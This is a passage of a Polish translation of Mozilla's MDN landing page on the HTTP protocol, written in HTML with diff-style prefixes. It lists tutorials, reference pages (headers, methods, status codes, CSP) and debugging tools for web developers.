czeka na odpowiedź. HTTP jest <a href="https://en.wikipedia.org/wiki/Stateless_protocol">protokołem bezstanowym</a>, co oznacza, że serwer nie przechowuje żadnych danych (stanów) pomiędzy oboma żądaniami. Mimo, że często opiera się na warstwie TCP/IP, może być używany także na godnej zaufania <a href="http://en.wikipedia.org/wiki/Transport_Layer">warstwie transportowej</a>, tj. protokół, który nie traci po cichu komunikatów, jak ma to miejsce w przypadku UDP. <a href="https://en.wikipedia.org/wiki/Reliable_User_Datagram_Protocol">RUDP</a>, wiarygodna aktualizacja UDP, może stanowić odpowiednią alternatywę.</p> + +<div class="column-container"> +<div class="column-half"> +<h2 id="Samouczki">Samouczki</h2> + +<p>Poprzez samouczki i instrukcje ucz się, jak używać HTTP.</p> + +<dl> + <dt><a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Overview">HTTP - wiadomości ogólne</a></dt> + <dd>Podstawowe cechy protokołu klient-serwer: co robi i do czego w założeniu służy.</dd> + <dt><a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Caching">Cache HTTP</a></dt> + <dd>Buforowanie (caching) jest bardzo ważne z punktu widzenia szybkości działania stron WWW. Ten artykuł opisuje różne metody buforowania i jak używać nagłówków HTTP, by ten proces kontrolować.</dd> + <dt><a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies">Ciasteczka HTTP</a></dt> + <dd>Jak działają ciasteczka (cookies) jest określone w <a href="http://tools.ietf.org/html/rfc6265">RFC 6265</a>. Podczas obsługi żądania HTTP, serwer może wysłać nagłówek HTTP <code>Set-Cookie</code> z odpowiedzią. Następnie klient zwraca wartość ciasteczka z każdym żądaniem do tego samego serwera w formie nagłówka żądania <code>Cookie</code>. Ciasteczko może być również ustawione na wygasające wraz z nadejściem ustalonej daty lub ograniczone do konkretnej domeny i ścieżki.</dd> + <dt><a href="/en-US/docs/Web/HTTP/CORS">Cross-Origin Resource Sharing (CORS)</a></dt> + <dd><strong>Żądania HTTP między stronami (cross-site) </strong>to żądania HTTP z zasobów pochodzących <strong>z innej domeny</strong>, niż domena zasobu zgłaszającego żądanie. Przykładowo strona HTML z Domeny A (<code>http://domaina.example/</code>) żąda otrzymania obrazka z Domeny B (<code>http://domainb.foo/image.jpg</code>) poprzez element <code>img</code>. Współcześnie strony WWW powszechnie ładują zasoby między stronami, m. in. arkusze stylów CSS, obrazki, skrypty i inne zasoby. CORS pozwala twórcom stron na kontrolowanie jak ich strona WWW zachowuje się w obliczu żądań typu cross-site.</dd> +</dl> + +<dl> + <dt><a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Basics_of_HTTP/Evolution_of_HTTP">Rozwój HTTP</a></dt> + <dd>Zwięzły opis zmian pomiędzy wczesnymi wersjami HTTP, a współczesnym HTTP/2.</dd> + <dt><a href="https://wiki.mozilla.org/Security/Guidelines/Web_Security">Wskazówki dot. bezpieczeństwa WWW od Mozilli</a></dt> + <dd>Zbiór wskazówek mających na celu pomoc zespołom operacyjnym w tworzeniu bezpiecznych aplikacji WWW.</dd> +</dl> + +<dl> + <dt><a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Messages">Komunikaty HTTP</a></dt> + <dd>Opisuje typy i struktury różnych rodzajów komunikatów HTTP/1.x oraz HTTP/2.</dd> + <dt><a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Session">Typowa sesja HTTP</a></dt> + <dd>Pokazuje i wyjaśnia przebieg typowej sesji HTTP.</dd> + <dt><a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Connection_management_in_HTTP_1.x">Zarządzanie połączeniami w HTTP/1.x</a></dt> + <dd>Opisuje trzy modele zarządzania połączeniami, które są dostępne w HTTP/1.x, ich mocne i słabe strony.</dd> +</dl> +</div> + +<div class="column-half"> +<h2 id="Referencje">Referencje</h2> + +<p>Przeszukaj szczegółową dokumentację referencyjną HTTP.</p> + +<dl> + <dt><a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers">Nagłówki HTTP</a></dt> + <dd>Nagłówki wiadomości HTTP są używane do opisu lub zachowania serweru lub klienta. Customowe, własne nagłówki mogą być dodawane przy zastosowaniu prefiksu <code>X-</code>; pozostałe w <a href="http://www.iana.org/assignments/message-headers/perm-headers.html">rejestrze IANA</a>, których oryginalna treść została zdefiniowana w <a href="http://tools.ietf.org/html/rfc4229">RFC 4229</a>. IANA również utrzymuje <a href="http://www.iana.org/assignments/message-headers/prov-headers.html">rejestr zaproponowanych, nowych nagłówków wiadomości HTTP</a>.</dd> + <dt><a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Methods">Metody żądań HTTP</a></dt> + <dd>Różne operacje, które mogą zostać wykonane z HTTP: {{HTTPMethod("GET")}}, {{HTTPMethod("POST")}}, i również mniej znane żądania, jak {{HTTPMethod("OPTIONS")}}, {{HTTPMethod("DELETE")}} czy {{HTTPMethod("TRACE")}}.</dd> + <dt><a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Response_codes">Kody Odpowiedzi Statusu HTTP</a></dt> + <dd>Kody odpowiedzi HTTP wskazują, czy określone żądanie HTTP zakończyło się powodzeniem. Odpowiedzi są grupowane w pięciu klasach: odpowiedzi informacyjne, odpowiedzi powodzenia, przekierowania, błędy po stronie klienta i błędy po stronie serwera.</dd> +</dl> + +<dl> + <dt><a href="/en-US/docs/Web/HTTP/Headers/Content-Security-Policy">Dyrektywy CSP</a></dt> + <dd>Nagłówki odpowiedzi {{HTTPHeader("Content-Security-Policy")}} pozwalają administratorom stron WWW kontrolować jakie zasoby agent użytkownika może ładować na podanej stronie. Poza paroma wyjątkami, wytyczne przeważnie zawierają specyfikację originów serwera i zakończenia skryptów.</dd> +</dl> + +<h2 id="Narzędzia_i_zasoby">Narzędzia i zasoby</h2> + +<p>Pomocne narzędzia i zasoby dla lepszego zrozumienia i debugowania HTTP.</p> + +<dl> + <dt><a href="/en-US/docs/Tools">Firefox Developer Tools</a></dt> + <dd><a href="/en-US/docs/Tools/Network_Monitor">Monitor sieci</a></dd> + <dt><a href="https://observatory.mozilla.org/">Mozilla Observatory</a></dt> + <dd> + <p>Projekt stworzony po to, by pomagać deweloperom, administratorom systemów i specjalistom ds. bezpieczeństwa w bezpiecznej i solidnej konfiguracji ich stron.</p> + </dd> + <dt><a class="external" href="https://redbot.org/">RedBot</a></dt> + <dd>Narzędzia do sprawdzania Twoich nagłówków związanych z cache'ami.</dd> + <dt><a href="http://www.html5rocks.com/en/tutorials/internals/howbrowserswork/">Jak działają przeglądarki</a></dt> + <dd>Bardzo kompleksowy artykuł dot. wnętrza przeglądarek i przepływu żądań poprzez zastosowanie protokołu HTTP. Każdy tworca stron MUSI to przeczytać.</dd> +</dl> +</div> +</div> |